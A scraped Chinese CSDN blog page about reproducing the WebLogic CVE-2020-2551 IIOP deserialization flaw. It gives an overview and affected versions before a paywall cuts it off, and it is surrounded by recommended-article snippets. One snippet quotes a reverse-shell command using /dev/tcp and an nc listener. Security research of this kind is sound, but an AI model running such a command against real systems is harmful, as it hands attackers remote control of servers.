Weblogic CVE-2020-2551 IIOP反序列化漏洞复现

最新推荐文章于 2023-08-04 23:12:27 发布
VIP文章 最新推荐文章于 2023-08-04 23:12:27 发布
阅读量1.3k 收藏
点赞数
分类专栏： 安全 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/xuandao_ahfengren/article/details/114446367
版权

漏洞概述

 

攻击者可以通过IIOP协议远程访问Weblogic Server服务器上的远程接口，传入恶意数据，从而获取服务器权限并在未授权情况下远程执行任意代码。

IIOP协议以Java接口的形式对远程对象进行访问，默认启用。

 

影响版本

 

weblogic 10.3.6

weblogic 12.1.3.0

weblogic 12.2.1.3.0

weblogic 12.2.1.4.0

 

 

环境搭建

 

下载地址

https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

 

最低0.47元/天 解锁文章
锋刃科技
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
CVE-2020-14644 iiop反序列化漏洞分析1
08-03
1、安装weblogic server版本 2、生成wlfullclient.jar包 3、在IDEA新建一个工程文件
weblogic 反序列化 （CVE-2020-2551）漏洞复现（vulfocus）
qq_40646572的博客
04-27 1831
weblogic 反序列化 （CVE-2020-2551）漏洞是基于IIOP协议执行远程代码进行利用。
Weblogic IIOP反序列化漏洞（CVE-2020-2551） 漏洞复现
sechelper的博客
01-11 1190
cve漏洞详细复现，漏洞利用，反弹shell，工具分享
Weblogic CVE-2020-2551 IIOP反序列化漏洞复现
qq_30302577的博客
04-01 7473
文章目录前言0x01 漏洞说明0x02 影响版本:0x03 Weblogic环境搭建0x04 漏洞利用0x05 漏洞修复方案1.使用 Oracle 官方安全补丁进行更新修复2.如果不依赖T3协议进行JVM通信，用户可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。0x06 参考链接 前言 本教程及工具仅供技术学习交流、请勿用于非法行为、否则后果自负 0x01 漏洞说明 2020年1月15日，O...
Weblogic IIOP协议反序列化（CVE-2020-2551）漏洞复现
Boom！脑洞大爆炸的博客
11-11 2005
Weblogic IIOP协议反序列化（CVE-2020-2551）复现
Weblogic RMI-IIOP(cve-2020-2551)复现
hibari_18的博客
04-29 1419
0x01 复现 RMI方式： 1.vps 生成exp.class（示例为windows弹计算器，如果想反弹linux shell 把命令改成bash -i >& /dev/tcp/vps/4444 0>&1，然后vps用nc -lvvp 4444 监听本地端口即可，用java1.6版本编译成功率高） javac -source 1.6 -target 1.6 exp...
CVE-2020-2551:具有IIOP的Weblogic RCE
03-08
具有IIOP的CVE-2020-2551 Weblogic RCE 0x01默认启用IIOP 0x02 Poc演示
weblogic反序列化漏洞(绕过CVE-2019-2725)-检测POC .txt
06-27
weblogic反序列化漏洞(绕过CVE-2019-2725)-检测POC .网上几乎没有，请珍惜。
CVE-2017-10271 Weblogic反序列化漏洞补丁（FMJJ）
01-09
Weblogic反序列化漏洞补丁（FMJJ），这是一个累积补丁，代号FMJJ
Weblogic CVE-2020-2551复现
热门推荐
迷风小白
06-02 1万+
0x00 前言 Weblogic IIOP 反序列化 0x01 漏洞环境 所有环境都是建立在java环境的基础上，jdk自行下载安装，本机环境jdk 1.8 环境1：vulub-weblogic-CVE-2017-10271 环境2：本地搭建Windows weblogic下载 weblogic 10.3.6安装步骤 搭建完成以后，启动weblogic访问如下图所示即为搭建成功 0x02 漏洞利用 这里我们采用环境2在本地搭建 win7：192.168.111.18（虚拟机） win10：192.168
Weblogic IIOP反序列化漏洞（CVE-2020-2551） 漏洞分析
whatday的专栏
07-09 4855
0x00 前言 2020年1月15日, Oracle官方发布了CVE-2020-2551的漏洞通告，漏洞等级为高危，CVVS评分为9.8分，漏洞利用难度低。影响范围为10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。 0x01 漏洞分析 从Oracle 官方的CPU公告中可以看出该漏洞存在于weblogic核心组件，影响的协议为IIOP。其实经过分析发现，该漏洞原理上类似于RMI反序列化漏洞（CVE-2017-3241），和之前的T3协议所引发的一系列.
漫谈 WebLogic-CVE-2020-2551
数据库生态圈（RDB & NoSQL & Bigdata）——专注于关系库优化（Oracle&Mysql&PG&SQL Server ）
01-14 1253
本文源自：https://paper.seebug.org/1149/#jdk 作者：r4v3zn@白帽汇安全研究院本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！投稿邮箱：[email protected] 背景 2020 年 1月14日，Oracle 发布了大量安全补丁，修复了 43 个严重漏洞，CVSS 评分均在在9.1以上。 其中 CVE-2020-2551 漏洞，互联网中公布了几篇针对该漏洞的分析文章以及POC，但公布的 POC 有部分不足之处，导致漏洞检测效..
Weblogic IIOP协议反序列化（CVE-2020-2551）
yy
03-12 1万+
目录 一. 漏洞描述 二. 影响版本 三. 漏洞环境搭建 四. 漏洞复现 五. 漏洞修复 一. 漏洞描述 2020年1月15日,Oracle发布了一系列的安全补丁,其中Oracle WebLogic Server产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。 经过分析这次漏洞主要原因是错误的过滤JtaTransactionManager类，JtaTransactionManager父类Ab...
WebLogic CVE-2020-2551漏洞
糖小喵
05-19 1600
预备知识 主要是利用IIOP协议进行的攻击。从0开始学习复现这个洞不免又会设计到Java反序列化漏洞中那些老生常谈的名词理解，涉及到Java反序列化中的一些协议、行为、结构。 RMI、JRMP LDAP 主要充当目录服务的协议 ...
信安学习day4：杂（信息收集+漏洞CVE_2020_2551的介绍）
最新发布
weixin_73760178的博客
08-04 283
指利用第三方的服务对目标进行访问了解，如Google搜索目的：通过公开渠道，去获得目标主机的信息，从而不与目标系统直接交互，避免留下痕迹信息收集内容： 用途：1.IP地址段 信息描述目标2.域名信息 发现目标。
Corba概念（GIOP、IIOP、IOR、ORB、IDL）
wendyyanan的专栏
02-17 944
写在前面 本文转自 Corba概念（GIOP、IIOP、IOR、ORB、IDL）. 防止哪天找不到了，所以自己做了个备份。 CORBA 公用对象请求代理（调度）程序体系结构（Common Object Request Broker Architecture），缩写为 CORBA，是对象管理组织（Object Management Group）对应当今快速增长的软硬件的协同工作能力的要求而提出的方案...
weblogic禁用IIOP协议，weblogic CVE-2020-2551漏洞修复
蕃薯耀的博客
01-27 3648
weblogic禁用IIOP协议 weblogicCVE-2020-2551漏洞修复 ================================ ©Copyright 蕃薯耀2021-01-27 https://www.cnblogs.com/fanshuyao/ 一、IIOP协议漏洞 攻击者能够利用Weblogic IIOP协议远程访问Weblogic Server服务器上的远程接口...
CVE-2020-2551漏洞
kang_12358的博客
08-28 3871
2020 年 1月14日，Oracle 发布了大量安全补丁，修复了 43 个严重漏洞，CVSS 评分均在在9.1以上。 其中 CVE-2020-2551 漏洞，互联网中公布了几篇针对该漏洞的分析文章以及POC，但公布的 POC 有部分不足之处，导致漏洞检测效率变低，不足之处主要体现在： 公布的 POC 代码只针对直连（内网）网络有效，Docker、NAT 网络全部无效。 公布的 POC 代码只支持单独一个版本，无法适应多个 weblogic 版本
Weblogic IIOP反序列化漏洞(CVE-2020-2551)
07-28
关于Weblogic IIOP反序列化漏洞（CVE-2020-2551），以下是一些相关信息： CVE-2020-2551是Weblogic Server的一个严重漏洞，该漏洞允许攻击者通过发送特制的T3协议请求来执行任意代码。这个漏洞属于Java反序列化漏洞...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值